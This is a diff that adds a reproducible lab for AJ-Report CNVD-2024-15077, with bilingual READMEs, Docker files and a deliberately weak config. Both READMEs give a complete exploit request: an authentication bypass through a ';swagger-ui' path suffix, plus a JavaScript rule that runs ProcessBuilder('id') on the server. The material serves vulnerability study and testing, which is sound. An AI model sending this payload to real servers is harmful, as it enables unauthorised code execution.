added AJ-Report CNVD-2024-15077

aj-report/CNVD-2024-15077/README.md

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+# AJ-Report Authentication Bypass and Remote Code Execution (CNVD-2024-15077)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+AJ-Report is an open source BI platform. In the version 1.4.0 and before, there is a authentication bypass issue and the attacker is able to perform arbitrary code execution through the issue.
+
+References:
+
+- <https://xz.aliyun.com/t/14460>
+- <https://github.com/wy876/POC/blob/main/AJ-Report%E5%BC%80%E6%BA%90%E6%95%B0%E6%8D%AE%E5%A4%A7%E5%B1%8F%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md>
+
+## Vulnerable environment
+
+Execute following command to start a AJ-Report server 1.4.0:
+
+```
+docker compose up -d
+```
+
+After the server is started, you can see the login page of AJ-Report through `http://your-ip:9095`.
+
+## Exploit
+
+To exploit the issue by following request:
+
+```
+POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
+Host: your-ip:9095
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Content-Type: application/json;charset=UTF-8
+Connection: close
+Content-Length: 339
+
+{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
+```
+
+As you can see, `id` command is executed successfully:
+
+![](1.png)

aj-report/CNVD-2024-15077/README.zh-cn.md

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+# AJ-Report 认证绕过与远程代码执行漏洞（CNVD-2024-15077）
+
+AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前，存在一处认证绕过漏洞，攻击者利用该漏洞可以绕过权限校验并执行任意代码。
+
+参考链接：
+
+- <https://xz.aliyun.com/t/14460>
+- <https://github.com/wy876/POC/blob/main/AJ-Report%E5%BC%80%E6%BA%90%E6%95%B0%E6%8D%AE%E5%A4%A7%E5%B1%8F%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md>
+
+## 漏洞环境
+
+执行如下命令启动一个AJ-Report 1.4.0服务器：
+
+```
+docker compose up -d
+```
+
+服务启动后，你可以在`http://your-ip:9095`查看到登录页面。
+
+## 漏洞复现
+
+要利用该漏洞，只需要发送如下数据包：
+
+```
+POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
+Host: your-ip:9095
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Content-Type: application/json;charset=UTF-8
+Connection: close
+Content-Length: 339
+
+{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
+```
+
+可见，`id`命令已经执行成功：
+
+![](1.png)

aj-report/CNVD-2024-15077/docker-compose.yml

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+version: '2'
+services:
+ web:
+   image: vulhub/aj-report:1.4.0
+   depends_on:
+    - db
+   environment:
+    - MYSQL_HOST=db
+    - MYSQL_PORT=3306
+    - MYSQL_DB=aj_report
+    - MYSQL_USERNAME=root
+    - MYSQL_PASSWORD=root
+   ports:
+    - "9095:9095"
+    - "5005:5005"
+ db:
+   image: mysql:5.7
+   environment: 
+    - MYSQL_ROOT_PASSWORD=root
+    - MYSQL_DATABASE=aj_report

base/aj-report/1.4.0/Dockerfile

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+FROM eclipse-temurin:8u412-b08-jre-jammy
+
+LABEL maintainer="phithon <root@leavesongs.com>"
+
+RUN set -ex \
+    && apt-get update \
+    && apt-get install -y --no-install-recommends unzip wait-for-it \
+    && mkdir -p /opt/aj-report \
+    && wget -O /tmp/aj-report-1.4.0.zip https://gitee.com/anji-plus/report/releases/download/V1.4.0/aj-report-1.4.0.zip \
+    && unzip /tmp/aj-report-1.4.0.zip -d /opt/aj-report \
+    && rm -rf /tmp/aj-report-1.4.0.zip
+
+WORKDIR /opt/aj-report/aj-report-1.4.0.RELEASE
+COPY bootstrap.yml /opt/aj-report/aj-report-1.4.0.RELEASE/conf/bootstrap.yml
+COPY docker-entrypoint.sh /docker-entrypoint.sh
+
+ENTRYPOINT [ "bash", "/docker-entrypoint.sh" ]
+CMD [ "java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005", "-Xbootclasspath/a:lib/*.jar", "-Dspring.config.location=conf/bootstrap.yml", "-jar", "lib/aj-report-1.4.0.RELEASE.jar" ]

base/aj-report/1.4.0/bootstrap.yml

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+server:
+  port: 9095
+  servlet:
+    encoding:
+      charset: UTF-8
+      force: true
+      enabled: true
+
+spring:
+  profiles:
+    active: dev
+  application:
+    name: aj-report
+  servlet:
+    multipart:
+      max-file-size: 10MB #上传图片大小限制为10MB
+  jackson:
+    date-format: yyyy-MM-dd HH:mm:ss
+  messages:
+    basename: i18n/messages
+  datasource:
+    url: jdbc:mysql://${MYSQL_HOST}:${MYSQL_PORT}/${MYSQL_DB}?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&useSSL=false
+    username: ${MYSQL_USERNAME}
+    password: ${MYSQL_PASSWORD}
+    type: com.zaxxer.hikari.HikariDataSource
+    hikari:
+      connection-timeout: 300000  # 连接超时时间 - 默认值：30秒。
+      validation-timeout: 5000  # 连接被测试活动的最长时间 - 默认值：5秒。
+      idle-timeout: 60000  # 连接池中允许闲置的最长时间 - 默认值：10分钟
+      max-lifetime: 1800000  # 一个连接生命时长（毫秒），超时而没被使用则被释放 - 默认值：30分钟
+      maximum-pool-size: 10  #连接池中允许的最大连接数，包括闲置和使用中的连接 - 默认值：10
+      minimum-idle: 5  # 连接池中允许的最小空闲连接数 - 默认值：10。
+
+  #如果要使用redis，请参考report-core目录下的README.md文件中写的进行调整
+#  redis:
+#    host: 127.0.0.1
+#    port: 6379
+#    password: root
+#    database: 1
+  flyway:
+    enabled: true    #是否开启flyway，默认true.
+    baseline-on-migrate: true
+    #数据库连接配置
+    url: ${spring.datasource.url}
+    user: ${spring.datasource.username}
+    password: ${spring.datasource.password}
+    placeholder-replacement: false
+    init-sqls:
+      - CREATE DATABASE IF NOT EXISTS `aj_report` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
+  gaea:
+    subscribes:
+      oss: #文件存储 都配置的情况下优先级minio->amazonS3->nfs
+        enabled: true
+        ##允许上传的文件后缀
+        file-type-while-list: .png|.jpg|.gif|.icon|.pdf|.xlsx|.xls|.csv|.mp4|.avi|.jpeg|.aaa|.svg
+        # 用于文件上传成功后，生成文件的下载公网完整URL，http://serverip:9095/file/download，注意填写IP必须填写后端服务所在的机器IP
+        downloadPath: http://10.108.26.197:9095/file/download
+        nfs:
+          #上传对应本地全路径，注意目录不会自动创建，注意 Win是 \ 且有盘符，linux是 / 无盘符，注意目录权限问题
+          path: /app/disk/upload/
+        #若要使用minio文件存储，请启用以下配置
+        #minio:
+        #  url: http://127.0.0.1
+        #  port: 9000
+        #  access-key: minioreport
+        #  secret-key: minioreport
+        #  bucket-name: aj-report
+        #若要使用amazonS3文件存储，请启用以下配置
+        #amazonS3:
+        #  url: http://127.0.0.1
+        #  access-key: access-key
+        #  secret-key: secret-key
+        #  bucket-name: AJ-Report
+        #若minio和amazonS3都没有，使用服务器高可用的nfs共享盘
+
+mybatis-plus:
+  configuration:
+    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl #开启sql打印
+    call-setters-on-nulls: true
+  mapperLocations:
+    - classpath*:/mapper/**/*.xml
+    - classpath*:/modeler-mybatis-mappings/**/*.xml
+
+management:
+  endpoints:
+    web:
+      base-path: /
+logging:
+  config: classpath:logback.xml
+
+# 本应用自定义参数
+customer:
+  # 跳过token验证和权限验证的url清单
+  skip-authenticate-urls: /gaeaDict/all, /login, /static, /file/download/, /index.html, /favicon.ico, /reportShare/detailByCode, /v2/api-docs
+  file:
+    #导入导出临时文件夹 默认.代表当前目录，拼接/tmp_zip/目录
+    tmpPath: .
+  user:
+    ##新增用户默认密码
+    default:
+      password: 123456

base/aj-report/1.4.0/docker-entrypoint.sh

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+#!/bin/bash
+
+set -ex
+
+echo "Waiting for database to start..."
+wait-for-it -t 0 "${MYSQL_HOST:-127.0.0.1}:${MYSQL_PORT:-3306}" -- echo "Daabase is up"
+
+exec "$@"